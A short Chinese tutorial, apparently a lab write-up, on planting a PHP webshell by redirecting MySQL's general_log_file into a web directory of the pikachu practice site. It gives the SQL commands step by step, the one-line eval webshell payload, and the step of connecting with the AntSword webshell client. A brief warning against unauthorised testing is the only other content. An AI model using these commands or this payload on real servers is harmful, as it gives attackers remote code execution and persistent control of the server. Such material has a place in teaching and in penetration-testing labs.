前情条件是:首先将我们的PHP版本设置在5.5以上 注:禁止用于未授权的测试!
首先搭建环境,登录后台

点击》》SQL

查看当前的日志状态
SHOW VARIABLES LIKE 'general%';

因为之前我原来做过所以general_log 是开启的,如果vlau 是OFF时,可以使用
set global general_log = "ON";打开日志
然后后面打开genera_log_file 写到网站目录下
set global general_log_file='D:\\phpstudy_pro\\WWW\\pikachu-master\\shell.php'
前提是知道网站目录下

查看日志,看更改日志文件路径是否成功

日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';

访问一下shell.php
http://pikachu-master/shell.php
能够成功访问

然后适用蚁剑连接

成功连接